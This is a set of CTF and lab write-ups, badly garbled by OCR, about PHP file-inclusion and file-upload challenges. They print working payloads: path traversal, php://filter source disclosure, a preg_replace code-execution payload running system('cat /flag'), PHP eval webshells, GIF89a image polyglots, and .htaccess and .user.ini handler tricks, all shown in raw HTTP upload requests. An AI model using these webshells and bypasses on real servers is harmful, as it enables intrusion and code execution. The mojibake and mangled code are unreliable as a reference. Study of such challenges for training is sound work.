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1.[HCTF 2018]WarmUp

e F123 Asource.php3C 4

<?php
highlight file(_ FILE_);
class emmm
{
public static function checkFile(&$page)
{
$whitelist [ 5
if (! isset($page) is_string($page)) {
echo 5

return false;

if (in_array($page, $whitelist)) {

return true;

$_page mb_substr(
$page,
0,
mb_strpos($page .

$_REQUEST[
$_REQUEST[ ]
$_REQUEST[

$_REQUEST[




o RIEMHAEHRILE T E S 7Echeckfile FF$X

e H¥E%payload
file=hint.php?../../../../../ffffllllaaaagggg

2.[ACTF2020 374 % ]Include

o XIEMRIEE EAEE Wurl LA AN IR K ?file=flag.php
o RERSEXHE SRR

o FHAphpththil Z3KEBE CHEER R

o ik —:php:/filter

o | php:/filterth il % 3K Eflag.php KI5 IS
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

o Vjin) 54 —Kbase64 I fERY ik Be 1R BB E Kiflag T
o JREIREL T — T YR

meta charset
<?php

error_reporting(9);
$file = $_GET[ Ik

stristr($file, stristr($file, stristr($file,

o B TR ERMBE_ITHT

3.[#h % KBk ik 2019]Secret File



o FI2EEIE K IArchive room.php i
o 33 HdrsecretBE B Blend.php A Y5 S FF 4 action.php

o INE

| GET Jaction.php HTTP/1.1 : HTTP/1.1 302 Found
Host: 53403de3-c62c-491b-8da2-346c0E940b. node3. buugj.en Server: openresty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:85.0) Gecko/20100101 Date: Wed, 27 Jan 2021 08:32:58 GMT
Firefox/85.0 Content-Type: text/html; charset=UTF-8
Accept: text/html application/xhtml+xml application/xml;q=0.9 imagefwebp */,q=0.8 Connection: close
Accept-Language: zh-CM,zh;g=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Location: end.php
Accept-Encoding: gzip, deflate X-Powered-By: PHR/7.3.11
Connection: close Caontent-Length: 63
Cookie
UM_distinctid=176186d173133c-00cd11b2832ef3-4c312779-144000-176186d17 32371 <IDOCTYPE htmi>
Upgrade-Insecure-Requests: 1
‘ <htmil=

<]--

secrdt. php

! -

</html>

o R¥secr3t.php 13k % & phpf RS & it

html
title>secret</title
meta charset

<?php
highlight_file(__FILE_ );
error_reporting(0);
$file=% GET[ 1;
if(strstr($file, )| |stristr($file, )| |stristr($file, )| |stristr($file,

echo

exit();

1
J

include($file);

o Fl_b— 2N include XA & IR TR, &4 AT LA php:/filter
file=php://filter/resource=flag.php 8 B iZ M flagdk i T

FIRg! 1R¥eEIFET! A2 (REAFIFEQAQ~~~

FEIXE

o LLJFMY php://filter/read=convert.base64-encode/resource=flag.php

e baseb64f#i515 Flflag



4.[BJDCTF2020]ZJCTF A itttk

<?php

error_reporting(9);
$text = $ GET[ 1;
$file = $ GET[ 1;
if(isset($text)&&(file get contents($text,
echo .file get contents($text,
if(preg_match( ,$file) ) {
die( )5

include($file);

1
J
else{

highlight file(__ FILE_ );

o file_get_contents()-—-—-BEEAN TN —AF 5 &
o BEARIXFE A A o] 2 ) S text B {E /& | have a dream

o XEFW/MALE text=php://input SR JGpostiEiZ I have a dream

| have a dream

o # ?text=data://text/plain,I have a dream
o HEEALT IRxnext.php
o ?file=php:/ffilter/read=convert.base64-encode/resource=next.php

o base64f#i% 15 Flnext.php 314 N2

function complex($re, $str) {
return preg_replace(

. $re .

5
1
J

foreach($_GET as $re $str) {

echo complex($re, $str).

1
J

function getFlag(){

@eval($_GET[ 1);
1
I




o XEMEFEAFK—ANE: perg_replace 5RIBHAT
o FEEHt&Mi&payload T

® /next.php?\S*=${getFlag()}&cmd=system('cat /flag');
or
/next.php?\S*=${eval($_POST[shell])} #AJGpost 4% shell=system('cat /flag"')
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yijuhuaphp =

> Users 2 lenowvo > De . yijuhua.php

[X"1);

EERRTHEAAER, AEAE!

F12&% — TIEK

<input class="uploadfile" type="file" name="uploadfile" onchange="checkFileExt(this.value)">

KIuploadfile L& Nchange /B2 & SR HHEM % BT LA BRI T

FHg HE
S ST

SHETFRIREEA . uploads/yijuhua.php

http://127.0.0.1/pikachu-master/vul/unsafeupload/uploads/yijuhua.php/?X=ipconfig M UR A - EARD T
E_Fh
K—ERD B Njpg X EAEITE

Content-Disposition: form-data; name="uploadfile”; filename="yijuhua.php”
Content-Type: image/jpeg

filename="yijuhua.jpg" B Nfilename="yijuhua.php" 8t L 4£ Ih T

22 R R A%



o )RR GR M A AR 55 ARG R PR ) T L IR BRSO e A%

o {HRAF LApache & 5t VAT HAth U J5 484 ) dnhttpd.conf iR B BL T RS
AddType application/x-httpd-php .php .phtml

o hSh FEApache HIFRNTIRE b B WA B ZEMRAT ST B RIK, I REBAE MW RG, B4k SAEZ Hlr, BEEBIA T
XHFERAILL.

2.3 R R gt Wi

o MRS IRALEL AL ST
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o R Aphp3CiHAIE

POST /pikachu-masterivul/unsafeupload/servercheck. php HTTR/ .1

Host: 127.0.0.1

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html application/xhtml+xml application/xml;q=0.9 imagefwebp ™ q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 ,zh-HK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encading: gzip, deflate

Content-Type: multipartfform-data; boundary=---------aemmmmeeeeee 18120382451527 765555269563
Content-Length: 377

Crigin: http:/M27.0.0.1

Connection: close

Referer: http://127.0.0.1/pikachu-masterful/unsafeupload/senvercheck. php

Cookie: PHFSESSID=573cvpal7finBinhhh7 dp2Zomd3

Upgrade-Insecure-Requests: 1

----------------------------- 18120382451527 765555269563
Content-Disposition: form-data; name="uploadfile”; filename="information.php"
Content-Type: application/octet-stream

<?php phpinfaf); ?=
............................. 18120382451527 TEREE5269563
Content-Disposition: form-data; name="submit"

HOMBERSTRD
............................. 18120382451527 765555269563

o ¥ B H ¥ Content-Type & B N Content-Type: image/jpeg Bt Al PARZh E4E T

) 127.0.0.1/pikachu-masterfvul{funsafeupload/uploadsfinformation.php 2 |

System Wiindows NT LAPTOP-BGYILHCAS 5.2 huild 9200 (Windows 8 Home Premium Editian
Build Date Sep 2 2016 23:45:20

Compiler MSWVCA (Wisual C++ 2008)

Architecture xBB

Configure cscript fnologo configure s "--enable-snapshot-huild" "--enahle-debug-pack" "--disahle-
Command disahle-isapi" "--disable-nsapi" "--without-mssgl" "-without-pdo-mssgl* "--withaut-pi3wn

with-pdo-oci=C:\php-sdkiaraclglinstantclient1 Msdk shared” "--with-ociB=Chphp-sdkiaor:
‘instantclient Dsdk shared" "--with-ocid- 11g=Cphp-sdikioraclglinstantclient1 1hsdk,sha
with-enchant=shared" "--enable-object-out-dir=. fobj™ "--enahle-com-dotnet=shared" "-
mcrypt=static" "--disable-static-anakyze" "--with-pga"

Server API CGEIFastCol

Virtual Directory |disahled
Support

Getimagesize



getimagesize ()& $iR 81 45 5 F 4 SO R/INISCA SRR (B R 3K A B BOHI W SCA K/ A7 7E i) 7
B A AT CAIE AR 5 B R ok B A A — AR ARG &

T FFwindows 4TI copy /b xxx.png + xxx.php aaa.png A LA#liE H —A M aaafi AR S B H

al.png + information. php picm. png

E—TNER_#H, "LAE N <2php phpinfo();?> BEMMFEIEAFEET

aeea7040: 60 08 88 49 45 AE 44 AE 42 66 82 3C 3F 70 68 70

apaa7a58: 20 70 68 70 69 6E 66 6F 28 29 3B 3F 3E

XER U EERR, TEAR!
RST.. | ASESE,

FHg HE
S ST

SHETFRIBEEA . uploads/2021/01/28/2186476012ae27%caf386554642.png

RETE A L REEARA

pikachuF- & R A SR E IR B — T B A RERBRERE bkt E
../../unsafeupload/uploads/2021/01/28/2186476012ae279acat386554642.png
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PHP Version 5.4.45

System indows NT LAPTOP-8GVLHCAS 6.2 build 9200 ¢Windows 8 Home Premium Edition) 1586

Build Date Sep 2 2015 23:45:20

Compiler MSWCa (visual G++ 2008)

|rchitecture =13}

IConfigure cseript fnologo configure s "--enable-snapshot-build" "-enable-debug-pack” "-disable-zts" "-disable-isap” "
Command disable-ngapl® "-without-mssyl "--without-pdo-mssal" "--withaut pidweb" "-with-pdo-oc=C:lphp-sdkioracle

linstantelient! Misdk, shared" "—-with-oci8=Ciphp-sdkloracleinstantclient! Msdk shared" "--with-0ci8-11g=Cphp-
sdkioraclelinstantelient]1\sdk, shared” "--with-enchant=shared" "--enable-object-out-dit=_fobj" "--enable-cam-
dotnet=shared” "-with-mcrypt=static” "--disable-static-analyze" "--with-pyo"

[Server AP| CGIFastCGl

Wirtual Directory (disabled
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<fzpan><span class="flare"></span><div>

</(div>
nonono~ Bad file!

div style="color#00"=Upload Success! Look here~
Juplodd/bd914cad997 d34857501 cefab0064162 . phtml</div=</|

<fhtml=
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[#% % KBk 2019]Upload

o BARBIHI U AT s S, B _EAR RIE R Rimage

————————————————————————————— 3984774657 32622883052009094351
Content-Disposition: form-data; name="file"; filename="shell.php"
Caontent-Type: image/jpeqg

<?php @eval(f_POST['shell]);?=
----------------------------- 3984774657 32822883052009094 351
Caontent-Disposition: form-data; name="submit"

o UGS AR JE B content-type Aimage/jpeg

e THEIRFEINOT! PHP!

o FILRB—# R BBB OGS4 phtmiTl LA D)

o (HR'EIREAIR NO! HACKER! your file included '<?'; FTUAEBHAFNE

® <script language="php">eval($_POST[shell]);</script> T2 Mi&E T XA H 5t Kpayload

o BEXRARRAREF XEHE T E Ak ERFEBH— Tpayload

GIF89a

<script language="php">eval($_POST[shell]);</script>

o Zh EAE

<div class="error">

<strong=

btk A2 shell.phtml<brs</strong=
<fdiv=

o IHUNSERE
[MRCTF2020]4#%4& ¥R [ We .htaccess

o XIEMF R T H %R htacess

o B TARREE R

o BERTHE L E—HIEAD REHET

o R bEME—Njpg X W LARZI EAE IR BB BOCLHEASR

o EECSLIFAATRN shell. jpg IEECCIF AN <2php @eval($_POST['shell']);?>

POST fupload.php HTTR/1.1 |
Host: 21a94¢c1c-6ac3-4630-682ha-f38e42727a39. node3. buuaj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv85.0) Gecko/20100101
Firefox/B5.0

Accept: text/html application/xhtml+xml applicationfxml;q=0.9 imagefwebp **;q=0.8
Accept-Language: zh-CM zh;q=0.8, zh-TW;q=0.7 zh-HIK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

Baundary=-----cemeeeeeeeeeee- 36389489563668324687 2461355331

Content-Length: 381

Origin: http://21a94c1c-6ac3-4630-82ha-38e427 27239 . node3. buuaj.cn

Connection: close

Referer: http:/21a94c1 c-6ac3-4630-82ba-f38e42727 239 node3. buuaoj.cnf

Cookie:

UM distinctid=176186d173133c-00cd11b2832ef3-4c32779-144000-176186d1732371;



PHﬁSESSID=feec£15d?eid15fdd1dUeedchdbeeSO
Upgrade-Insecure-Requests: 1

————————————————————————————— 36369489563666324687 2461355331
Content-Disposition: form-data; name="uploaded"; filename="shell jpg"
Caontent-Type: image/jpeqg

<?php @eval($_POST['shell);?=
————————————————————————————— 36369489563666324687 2461355331
Content-Disposition: form-data; name="submit"

%0 _EAL /var/www/html/upload/256c@b78ee7ac61ac44768F685002c66/shell.jpg succesfully uploaded!
T RERWAAIE shell.jpg SCHFAT LAME Rphp X4 $44T
° .htaceessIUHRIUABUZESCHHE 442 AR U AT LUE A A 28 B SO R4 I8 53 — R B AT Heinde TR . Jpg SO T LAk . phpSUH-f#HT

k4% htaceess3t 4

Accept: text/html application/xhtrml+xml, application/xml; g=0.9 image/webp ** g=0.8
Accept-Language: zh-CM zh;g=0.8 zh-TW,q=0.7 ,zh-HK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipartfarm-data;

boundary=--------mreeemeeeen 363894895636663246872461355331

Content-Length: 387

Crigin: http:/i21a94c1c-6ac3-4630-82ba-f38e42727 239 . node3. buuaj.cn

Connection: close

Referer: http://21a94c1c-Bac3-4630-82ba-38e42727 339 node3 . buuaj.cn/

Cookie:
UM_distinctid=176186d173133¢c-00cd11b28326f3-4c312773-144000-176186d1732371;
PHPSESSID=feecd5d7 e2d15fdd1 d0eeddebdfb9es0

Upgrade-Insecure-Requests: 1

----------------------------- 3638948956 36683246687 2461 355331
Content-Disposition: form-data; name="uploaded"”; flename="htaccess"
Content-Type: image/jpeg

AddType application/«-httpd-php .Jpg
----------------------------- 3638948956 36683246687 2461 355331
Content-Disposition: form-data; name="submit"

BOE 7 EiE0
----------------------------- 36389489563668324657 2461355331 --

o AN .htaccess

o VAN AddType application/x-httpd-php .jpg B34 7] DLAE F X Fh 7 =

# NSRS B E A jpg iz php T LB
<FilesMatch "jpg">

setHandler application/x-httpd-php
</FilesMatch>

o HIRRIIE WEIERE

Mag
1 flag{9aacct31-5459-4ca8-af2d-936691354907)



[GXYCTF2019]BabyUpload .htaccess

. BEHER
o SR AL T shell phpcf e 3% 5 414 R B pha ik T kA S 5 i deit
o BEERT BT jpg X BT LAERTAER

Content-Disposition: form-data; name="uploaded"; filename="shell.jpg"
Content-Type: application/octet-stream

<?php eval(§_POST['shell]);?=
o BHCUHFRR

o XA Content-Type:image/jpeg send— T A &2 php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title=Upload=</title>

<form action="" method="post" enctype="multipart/form-data"=

b we fF<input type="file" name="uploaded" />

<input type="submit" name="submit" value="_{&" />

<fform=i, RUSEIENT, bR E AL R php

o FHEMAEF YT <P XEXHET BERK
<?php @eval($_POST[shell]);?> M N
<script language='php'>eval($_POST[shell]);</script>

o STfFATh A%

<fform=fvar/www/html/upload/447626hf6 e e96d305693510c56436a92/shell.jpg
succesfully uploaded!

o BETRMELE—TXAsheljpgtE R —AIERLELAEBITT
o 223X £ htaccess /4 %N AddType application/x-httpd-php .jpg
o HiERT)

<form=Nar/www/html/upload/447626bf6eed6d305693510c56436a92/ . htaccess
succesfully uploaded!

o ERILIS] let's go!!!

Mag
1 +lag{921d39bo-td7e-44a2-83bt-cb2148e28ae7}
2

[SUCTF 2019]Checkin .user.ini

°

IXER B T HH AR user.ini SO

.user.ini S IS JE 113 &

—IFUE I LA% T htaccess UAHER R T LR B A K 17 &
o ERMIERECMENTHRASEMER ~n1 -1 1101 BENRTZE


https://wooyun.js.org/drops/user.ini%25E6%2596%2587%25E4%25BB%25B6%25E6%259E%2584%25E6%2588%2590%25E7%259A%2584PHP%25E5%2590%258E%25E9%2597%25A8.html

JH /NG M SRTT ZRNIZUNS T I IS IR Y BE HI AN Ul EREAAL N =N = I S 70 N8 | = RN

o openrestyf&Nginxfk 55 2% B LA .htaccess LR T ! ! ! tmd
o FiE—AIEARDIXBE<?#TIE T <script language="php">eval($_POST[shell]);</script> £&iL

Content-Type: multipart/form-data;

boundary=--—---eeeee- 2716504401162626668086129393
Content-Length: 398

Crigin: http://cheB8e32-5h00-4b64-92c9-760c75147844 node3. buuaj.cn
Connection: close

Referer: http://cheB8e32-5h00-4b64-92c9-760c75147844 . node3. buuaj.cnfind:
Cookie:

UM _distinctid=176186d173133c-00cd11h2832ef3-40312779-144000-1761864
Upgrade-Insecure-Requests: 1

----------------------------- 2716504401162626668085129895
Content-Disposition: form-data; name="fileUpload”; filename="shell.jpg"
Content-Type: image/jpeg

GIFE9

<script language="php"=eval(§_FPOST[shell]);</script>
----------------------------- 2716504401162626668085129895
Content-Disposition: form-data; name="upload”

----------------------------- 2716504401 1626266660881 23698--

o F{%& . user.inixxft

Referer: http:/fcbe88e32-5b00-4b64-52c9-760c75147844 node3. buuaj.cnfindex. php
Cookie:
UM_distinctid=176186d173133c-00cd11b2832e{3-4c302779-144000-176186d17 32371
Upgrade-Insecure-Requests: 1

————————————————————————————— 2716504401162626668088129895
Content-Disposition: form-data; name="fileUpload"; filename="user.ini"
Caontent-Type: image/jpeqg

GIF B9A

auto_prepend_file=shell jpg

————————————————————————————— 2716504401162626668086129898
Caontent-Disposition: form-data; name="upload”

----------------------------- 2716504401 162626668085 129556~

PR 5148 Flflag ! !

M &is: /flag

Mag



1 ftlag{eotebeda-8co7-488d-9873-et70f5370517}
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